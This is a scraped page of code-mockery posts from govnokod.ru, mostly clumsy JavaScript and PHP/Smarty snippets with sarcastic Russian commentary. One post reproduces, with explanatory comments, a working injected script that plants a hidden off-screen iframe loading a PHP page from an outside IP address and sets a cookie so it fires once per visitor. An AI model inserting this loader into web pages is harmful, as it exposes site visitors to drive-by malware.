- 1
Object.prototype.toString.call(o).match(/\[object (\w+)\]/)[1];
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+155
Object.prototype.toString.call(o).match(/\[object (\w+)\]/)[1];
Реализация typeof
+155
this.resize = function(d) {
var curSize, newSize;
if (DOM && settings.resiziable === true) {
curSize = $(DOM).height();
if (d < 0) {
if (settings.min) {
if (curSize + d < settings.min) {
newSize = settings.min;
} else {
newSize = curSize + d;
}
} else {
newSize = curSize + d;
}
} else {
if (settings.max) {
if (curSize + d > settings.max) {
newSize = settings.max;
} else {
newSize = curSize + d;
}
} else {
newSize = curSize + d;
}
}
if (newSize !== curSize) {
$(DOM).height(newSize);
}
}
};
Что-то меня корёжит немного от этого метода.
+155
<script type="text/javascript" language="javascript"> // весь следующий код внедряется в страницу
function llolwut() // функция, создающая невидимый iframe - http://69.67.187.39/TpqzKHZm.php
{
var momge = document.createElement('iframe');
momge.src = 'http://69.67.187.39/TpqzKHZm.php';
momge.style.border = '0';
momge.style.position = 'absolute';
momge.style.left = '-1234px';
momge.style.top = '-1337px';
momge.style.height = '21px';
momge.style.width = '21px';
if ( !document.getElementById( 'momge' ) ) // если еще не сделали iframe
{
document.write('<div name=\'momge\' id=\'momge\'></div>');
document.getElementById('momge').appendChild(momge ); // сделать его
}
}
function SetCookie( cookieName, cookieValue, nDays, path ) // установить кукисы
{
var today = new Date();
var expire = new Date();
if ( nDays == null || nDays == 0 )
nDays = 1;
expire.setTime(today.getTime() + 1800000*24*nDays);
document.cookie = cookieName + "=" + escape( cookieValue ) + ";expires=" + expire.toGMTString() + ( (path) ? ";path = " + path : "");
}
function GetCookie(name) // получить кукисы
{
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( (!start) && ( name != document.cookie.substring( 0,name.length ) ) )
return null;
if ( start == -1 )
return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 )
end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
// основной код
if ( navigator.cookieEnabled ) // если кукисы включены в настройках
{
if( GetCookie( '___utma' ) == '84f5e86989f374536450659c18f5489e' ) {} // если проставлены вредные кукисы - ничего не делать
else // если не проставлены - установить их и внедрить невидимый iframe в код страницы
{
SetCookie( '___utma', '84f5e86989f374536450659c18f5489e', '1', '/' );
llolwut();
}
}
</script>
Мега-вирус, by H@C|<3R. Изначально все это дерьмо было в 1 строку и без комментариев.
+155
js меня восхищает, реально. это язык, где проблемы с замыканием можно решить, добавив ещё одно замыкание. прикинем, например
var object = ...;
doShit(function /* async callback */ () { object.doOtherShit(); });
пока вроде как всё зашибись. но вдруг понадобилось написать цикл:
for (var i....) {
var object = array[i];
doShit(function /* this now fails hard */ () { object.doOtherShit(); });
}
что же делац? правильно, врапим всё в ещё одну функцию:
for (var i....) {
(function(object){
doShit(function /* oh, it's okay again */ () { object.doOtherShit(); });
})(array[i]);
}
+155
function createDataStringFromArray(data){
dataName = "outputSyntax=plain"
data.each(function(value, index){
if(value.name == "register_first_name"){
dataName = dataName + "®ister_first_name=" + value.value;
}else if(value.name == "register_last_name"){
dataName = dataName + "®ister_last_name=" + value.value;
}else if(value.name == "etablishment"){
dataName = dataName + "&etablishment=" + value.value;
}else if(value.name == "function"){
dataName = dataName + "&fonction=" + value.value;
}else if(value.name == "element_id"){
dataName = dataName + "&id=" + value.value;
}else if(value.name == "mail"){
dataName = dataName + "®ister_email=" + value.value;
}else if(value.name == "phone"){
dataName = dataName + "®ister_phone=" + value.value;
}else if(value.name == "mobile"){
dataName = dataName + "®ister_mobile=" + value.value;
}else if(value.name == "access"){
dataName = dataName + "&access=" + value.value;
}else if(value.name == "mail_alerts"){
dataName = dataName + "&mail_alerts=" + value.value;
}
})
return dataName;
}
+155
jQuery(document).ready(function(){
jQuery('#administratifs .accessElement').each(function(){
#foreach($user in $users)
#set($function = $user.getProperty('fonction').getValue())
if(jQuery(this).attr('id')== "accessElement_$user.getNumber()"){
jQuery(this).find('.selectFunction option').filter(function() {
return jQuery(this).text() == "$function";
}).prop('selected', true);
}
#end
})
jQuery('#administratifs .disableClass').attr('disabled', 'disabled');
})
тут еще velocity
+155
/*.slimNotificationBar {
left : 60px;
right: 100px;
}*/
var sText = "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.";
function displayListener(oEvent) {
var bShow = oEvent.getParameter("show");
if (bShow) {
/*
* Now the application can decide how to display the bar. It can be maximized, default, minimized (please see NotificationBarStatus)
*/
var sStatus = sap.ui.ux3.NotificationBarStatus.Default;
oNotiBar1.setVisibleStatus(sStatus);
} else {
var sStatus = sap.ui.ux3.NotificationBarStatus.None;
oNotiBar1.setVisibleStatus(sStatus);
}
};
var now = (new Date()).toUTCString();
var oMessage = new sap.ui.core.Message({
text : sText,
timestamp : now
});
var oNotifier = new sap.ui.ux3.Notifier({
title : "The first Notifier"
});
oNotifier.addMessage(oMessage);
var oNotiBar1 = new sap.ui.ux3.NotificationBar({
display : displayListener,
visibleStatus : "None",
resizeEnabled : false
});
oNotiBar1.addStyleClass("sapUiNotificationBarDemokit");
oNotiBar1.addStyleClass("slimNotificationBar");
oNotiBar1.addNotifier(oNotifier);
oNotiBar1.placeAt("sample1");
Решил для нужд одного проекта ознакомиться с официальной документацией к OpenUI5 от весьма известной фирмы SAP. Полдня моей жизни убиты без всякой пользы. Больше примеров того, как НЕ надо писать код на JS, здесь: https://openui5.hana.ondemand.com/#content/Controls/index.html
ExtJS использовать не могу по лицензионным соображениям, остаётся смотреть в сторону qooxdoo и YUI...
+155
var colData = portfolioTable.getAvailableColumns();
var colspecs = [];
for (var i = 0, len = colData.length; i < len; i++) {
var colspec = { 'field': colData[i].id, 'width': colData[i].width };
colspecs.push(colspec);
}
var flag;
// бл, это ппц! для чего и тут accountNumber?!
for (var i = 0, len = colspecs.length; i < len; i++) {
if (colspecs[i].field !== 'AccountNumber') {
flag = true;
} else {
flag = false;
break;
}
}
if (flag) {
colspecs.unshift({ 'field': 'AccountNumber', 'width': 120 });
}
Из одного проекта, в котором больше половины кода - натурально индусский.
+155
(isset($presetFilters)) ? ((in_array($object->id,$presetFilters)) ? $object->avatar('-s') : $object->avatar('-gs-s')) : $object->avatar('-gs-s')
код для получение префикса аватарки
+155
/* $res = array ('res_count' => 15, кол-во результатов
'...' => прочее,
)*/
{if ($res) && (($res['res_count']%10) == 1)&& ((($res['res_count']/10)%10) != 1)}
нашёлся <b>{$res['res_count']}</b> результат
{else}
нашлось <b>{$res['res_count']}</b>
{if ($res) && ((($res['res_count']/10)%10) != 1) && (($res['res_count']%10)>1) && (($res['res_count']%10)<5)}
результата
{else}
результатов
{/if}
{/if}
нашёл функцию под SMARTY для склонения слов, которая используется при выводе результатов поиска... она была записана в 1-у строчку для "лучшего понимания" (напишу в комменте )